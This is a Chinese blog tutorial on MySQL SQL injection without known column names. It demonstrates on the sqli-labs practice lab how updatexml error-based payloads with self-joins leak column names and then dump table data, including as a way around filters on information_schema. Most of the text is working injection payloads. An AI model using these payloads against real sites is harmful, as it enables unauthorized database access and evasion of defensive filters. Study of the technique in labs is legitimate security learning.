AI智能
改变未来

mysql无列名注入


0x00 原理

  mysql无列名注入是报错注入的一个变种,前提是已知表名,但是不知道列名,或者只知道部分列名,可通过报错注入拼接查询自身表,当自表被拼接时,由于存在重复属性列,会将列信息报错返回,这样我们就能知道表中的列名,再select 列名 from 表名 可直接查询出对应的数据。

0x01 注入方法

  这里使用sqlilabs-1来演示。

0x01.1 使用union进行无列名注入

前提条件是我们知道sqlilabs 有 security 数据库 emails 数据表 但我们不知道列名是什么。
爆第一个列名

payload: ?id=1\’ and updatexml(1,concat(0x7e,(select * from emails union select * from (select * from emails as a join emails as b)c),0x7e),1)–+

爆第二个列名

payload: ?id=1\’ and updatexml(1,concat(0x7e,(select * from emails union select * from (select * from emails as a join emails as b using(id))c),0x7e),1)–+

using(id)的意思是将表通过id进行拼接,也就是说拼接两张都含有id的表,其他表中属性进行并运算拼接,如果出现重复属性则报错。

尝试爆第三列

payload: ?id=1\’ and updatexml(1,concat(0x7e,(select * from emails union select * from (select * from emails as a join emails as b using(id,email_id))c),0x7e),1)–+


虽然提示 Operand should contain 1 column(s) , 其实已经查询失败了。

对爆出的email_id列进行查询

payload: ?id=1\’ and updatexml(1,concat(0x7e,(select concat_ws(\’|\’,id,email_id) from emails limit 0,1),0x7e),1)–+

payload: ?id=1\’ and updatexml(1,concat(0x7e,(select group_concat(email_id) from emails limit 0,1),0x7e),1)–+

0x01.2 不使用union进行无列名注入

爆第一个列名

payload: ?id=1\’ and updatexml(1,concat(0x7e,(select * from (select * from emails as a join emails as b)c),0x7e),1)–+


出了 id 列
爆第一个列名

payload: ?id=1\’ and updatexml(1,concat(0x7e,(select * from (select * from emails as a join emails as b using(id))c),0x7e),1)–+


出了email_id列

查询和使用union的一样。

0x02 总结

  这种注入方式在使用正则表达式过滤了information_schema.tables,information_schema.columns等常规注入查询系统表或者过滤了table_name,column_name时非常有效!

赞(0) 打赏
未经允许不得转载:爱站程序员基地 » mysql无列名注入